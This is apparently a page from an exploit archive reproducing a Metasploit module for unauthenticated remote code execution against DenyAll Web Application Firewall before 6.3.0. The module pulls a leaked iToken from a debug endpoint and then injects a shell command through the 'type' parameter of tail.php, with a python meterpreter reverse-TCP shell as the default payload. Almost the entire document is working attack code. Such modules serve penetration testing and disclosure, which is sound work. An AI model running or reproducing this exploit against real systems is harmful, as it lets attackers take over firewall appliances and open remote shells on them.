ExploitFixes
DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit) 2017-09-23 14:05:02

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c5a8a0ada8a0b185a8a0ada8a0b1acaba6a0ebaba0b1">[email protected]</a>>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 3001,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Sep 19 2017",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
]
)
end

def get_token
# Taking token by exploiting bug on first endpoint.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
'vars_get' => {
'applianceUid' => 'LOCALUID',
'typeOf' => 'debug'
}
})

if res && res.code == 200 && res.body.include?("iToken")
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
else
nil
end
end

def check
# If we've managed to get token, that means target is most likely vulnerable.
token = get_token
if token.nil?
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Appears
end
end

def exploit
# Get iToken from unauthenticated accessible endpoint
print_status('Extracting iToken value')
token = get_token

if token.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Awesome. iToken value = #{token}")
end

# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
print_status('Trigerring command injection vulnerability with iToken value.')
r = rand_text_alpha(5 + rand(3));

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
'vars_post' => {
'iToken' => token,
'tag' => 'tunnel',
'stime' => r,
'type' => "#{r}$(python -c \"#{payload.encoded}\")"
}
})

end
end
<script>!function(e,t,r,n,c,a,l){function i(t,r){return r=e.createElement('div'),r.innerHTML='<a href="'+t.replace(/"/g,'"')+'"></a>',r.childNodes[0].getAttribute('href')}function o(e,t,r,n){for(r='',n='0x'+e.substr(t,2)|0,t+=2;t<e.length;t+=2)r+=String.fromCharCode('0x'+e.substr(t,2)^n);return i(r)}try{for(c=e.getElementsByTagName('a'),l='/cdn-cgi/l/email-protection#',n=0;n<c.length;n++)try{(t=(a=c[n]).href.indexOf(l))>-1&&(a.href='mailto:'+o(a.href,t+l.length))}catch(e){}for(c=e.querySelectorAll('.__cf_email__'),n=0;n<c.length;n++)try{(a=c[n]).parentNode.replaceChild(e.createTextNode(o(a.getAttribute('data-cfemail'),0)),a)}catch(e){}}catch(e){}}(document);</script>